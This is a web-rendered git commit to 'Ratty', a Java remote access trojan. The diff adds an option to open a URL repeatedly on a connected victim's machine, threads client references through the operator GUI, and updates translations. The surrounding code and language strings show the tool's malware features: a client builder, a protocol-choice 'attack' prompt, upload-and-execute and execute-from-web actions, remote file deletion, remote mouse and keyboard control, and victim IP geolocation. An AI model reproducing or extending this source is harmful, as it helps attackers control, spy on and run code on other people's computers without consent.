Browse Source

Major changes

Fixed a really silly bug
You can now open websites multiple times
Cleanups
Translations
master
Sogomn 9 years ago
parent
commit
c1dbfd760e
  1. 1
      Ratty/res/language/lang.properties
  2. 1
      Ratty/res/language/lang_de.properties
  3. 1
      Ratty/res/language/lang_en.properties
  4. 3
      Ratty/res/language/lang_es.properties
  5. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  6. 41
      Ratty/src/de/sogomn/rat/packet/WebsitePacket.java
  7. 12
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  8. 18
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  9. 2
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
  10. 6
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  11. 37
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  12. 4
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

1
Ratty/res/language/lang.properties

@ -12,6 +12,7 @@ server.tcp=TCP
server.udp=UDP
server.attack_message=Which protocol?
server.url_message=Type in a URL.
server.amount_question=How often?
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?

1
Ratty/res/language/lang_de.properties

@ -12,6 +12,7 @@ server.tcp=TCP
server.udp=UDP
server.attack_message=Welches Protokoll?
server.url_message=Gib eine URL ein.
server.amount_question=Wie oft?
builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
builder.port_question=Welcher Port?

1
Ratty/res/language/lang_en.properties

@ -12,6 +12,7 @@ server.tcp=TCP
server.udp=UDP
server.attack_message=Which protocol?
server.url_message=Type in a URL.
server.amount_question=How often?
builder.address_question=Which address should the client connect to?
builder.port_question=Which port?

3
Ratty/res/language/lang_es.properties

@ -37,7 +37,8 @@ action.execute=Ejecutar archivo
action.delete=Eliminar archivo
action.new_directory=Crear una nueva carpeta
action.upload_execute=Subir y ejecutar archivo
action.drop_execute=EJecutar archivo desde web
action.drop_execute=Ejecutar archivo desde web
action.drop_file=Soltar archivo
column.name=Nombre
column.location=Localizacion

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.17.1";
public static final String VERSION = "1.18";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;

41
Ratty/src/de/sogomn/rat/packet/WebsitePacket.java

@ -11,10 +11,13 @@ import de.sogomn.rat.ActiveConnection;
public final class WebsitePacket implements IPacket {
private String address;
private int amount;
private static final String HTTP_PREFIX = "http://";
public WebsitePacket(final String address) {
public WebsitePacket(final String address, final int amount) {
this.amount = amount;
final boolean hasPrefix = address.startsWith(HTTP_PREFIX);
if (hasPrefix) {
@ -24,22 +27,15 @@ public final class WebsitePacket implements IPacket {
}
}
public WebsitePacket() {
this("");
}
@Override
public void send(final ActiveConnection connection) {
connection.writeUTF(address);
public WebsitePacket(final String address) {
this(address, 1);
}
@Override
public void receive(final ActiveConnection connection) {
address = connection.readUTF();
public WebsitePacket() {
this("");
}
@Override
public void execute(final ActiveConnection connection) {
private void openWebsite(final String address) {
final boolean desktopSupported = Desktop.isDesktopSupported();
if (desktopSupported) {
@ -58,6 +54,25 @@ public final class WebsitePacket implements IPacket {
}
}
@Override
public void send(final ActiveConnection connection) {
connection.writeUTF(address);
connection.writeInt(amount);
}
@Override
public void receive(final ActiveConnection connection) {
address = connection.readUTF();
amount = connection.readInt();
}
@Override
public void execute(final ActiveConnection connection) {
for (int i = 0; i < amount; i++) {
openWebsite(address);
}
}
public String getAddress() {
return address;
}

12
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -19,6 +19,8 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
public final class DisplayPanel extends AbstractListenerContainer<IGuiController> implements IMouseListener, IKeyboardListener {
private ServerClient client;
private String title;
private Screen screen;
private BufferedImage image;
@ -33,8 +35,8 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
public static final String KEY_EVENT = "Key event";
public static final String CLOSED = "Closed";
public DisplayPanel() {
//...
public DisplayPanel(final ServerClient client) {
this.client = client;
}
private Screen createScreen(final int screenWidth, final int screenHeight) {
@ -42,7 +44,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
final WindowAdapter windowAdapter = new WindowAdapter() {
@Override
public void windowClosing(final WindowEvent w) {
notifyListeners(controller -> controller.userInput(CLOSED));
notifyListeners(controller -> controller.userInput(CLOSED, client));
}
};
final BufferedImage[] icons = RattyGui.GUI_ICONS.stream().toArray(BufferedImage[]::new);
@ -109,7 +111,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type);
notifyListeners(controller -> controller.userInput(MOUSE_EVENT));
notifyListeners(controller -> controller.userInput(MOUSE_EVENT, client));
}
@Override
@ -128,7 +130,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
lastKeyEventPacket = new KeyEventPacket(key, type);
notifyListeners(controller -> controller.userInput(KEY_EVENT));
notifyListeners(controller -> controller.userInput(KEY_EVENT, client));
}
public void setTitle(final String title) {

18
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -24,6 +24,8 @@ import de.sogomn.engine.util.ImageUtils;
public final class FileTree extends AbstractListenerContainer<IGuiController> {
private ServerClient client;
private JFrame frame;
private FileTreeNode root;
@ -33,7 +35,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private JPopupMenu menu;
private FileTreeNode lastNodeClicked;
private FileTreeNode clickedNode;
private static final String ROOT_NAME = "";
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
@ -58,7 +60,9 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
DROP_FILE
};
public FileTree() {
public FileTree(final ServerClient client) {
this.client = client;
frame = new JFrame();
root = new FileTreeNode(ROOT_NAME);
tree = new JTree(root);
@ -83,9 +87,9 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
tree.setSelectionPath(path);
if (path != null) {
lastNodeClicked = (FileTreeNode)path.getLastPathComponent();
clickedNode = (FileTreeNode)path.getLastPathComponent();
} else {
lastNodeClicked = null;
clickedNode = null;
}
}
};
@ -116,7 +120,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private void menuItemClicked(final ActionEvent a) {
final String command = a.getActionCommand();
notifyListeners(controller -> controller.userInput(command));
notifyListeners(controller -> controller.userInput(command, client));
}
public void reload() {
@ -179,8 +183,8 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
frame.setTitle(title);
}
public FileTreeNode getLastNodeClicked() {
return lastNodeClicked;
public FileTreeNode getClickedNode() {
return clickedNode;
}
}

2
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -2,6 +2,6 @@ package de.sogomn.rat.server.gui;
interface IGuiController {
void userInput(final String command);
void userInput(final String command, final ServerClient client);
}

6
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -204,7 +204,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private void actionPerformed(final ActionEvent a) {
final String command = a.getActionCommand();
notifyListeners(controller -> controller.userInput(command));
notifyListeners(controller -> controller.userInput(command, lastServerClientClicked));
}
public void update() {
@ -312,8 +312,4 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return getInput(null);
}
public ServerClient getLastServerClientClicked() {
return lastServerClientClicked;
}
}

37
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -78,6 +78,7 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message");
private static final String AMOUNT_QUESTION = LANGUAGE.getString("server.amount_question");
private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip=";
@ -123,13 +124,22 @@ public final class RattyGuiController extends AbstractRattyController implements
private WebsitePacket createWebsitePacket() {
final String input = gui.getInput(URL_MESSAGE);
if (input != null) {
final WebsitePacket packet = new WebsitePacket(input);
return packet;
if (input == null) {
return null;
}
return null;
final String numberInput = gui.getInput(AMOUNT_QUESTION);
final int number;
try {
number = Integer.parseInt(numberInput);
} catch (final NumberFormatException ex) {
return null;
}
final WebsitePacket packet = new WebsitePacket(input, number);
return packet;
}
private AudioPacket createAudioPacket() {
@ -140,7 +150,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private DownloadFilePacket createDownloadPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final DownloadFilePacket packet = new DownloadFilePacket(path);
@ -151,7 +161,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final File file = gui.getFile();
if (file != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final UploadFilePacket packet = new UploadFilePacket(file, path);
@ -162,7 +172,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private ExecuteFilePacket createExecutePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final ExecuteFilePacket packet = new ExecuteFilePacket(path);
@ -170,7 +180,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private DeleteFilePacket createDeletePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final DeleteFilePacket packet = new DeleteFilePacket(path);
@ -181,7 +191,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final String input = gui.getInput();
if (input != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input);
@ -207,7 +217,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final String address = gui.getInput(URL_MESSAGE);
if (address != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final DownloadUrlPacket packet = new DownloadUrlPacket(address, path);
@ -261,7 +271,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private void requestFile(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode node = client.fileTree.getClickedNode();
final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path);
@ -561,8 +571,7 @@ public final class RattyGuiController extends AbstractRattyController implements
}
@Override
public void userInput(final String command) {
final ServerClient client = gui.getLastServerClientClicked();
public void userInput(final String command, final ServerClient client) {
final IPacket packet = createPacket(client, command);
if (packet != null) {

4
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -20,8 +20,8 @@ final class ServerClient {
public ServerClient(final ActiveConnection connection) {
this.connection = connection;
displayPanel = new DisplayPanel();
fileTree = new FileTree();
displayPanel = new DisplayPanel(this);
fileTree = new FileTree(this);
}
public void logIn(final String name, final String os, final String version, final ImageIcon flag) {

Loading…
Cancel
Save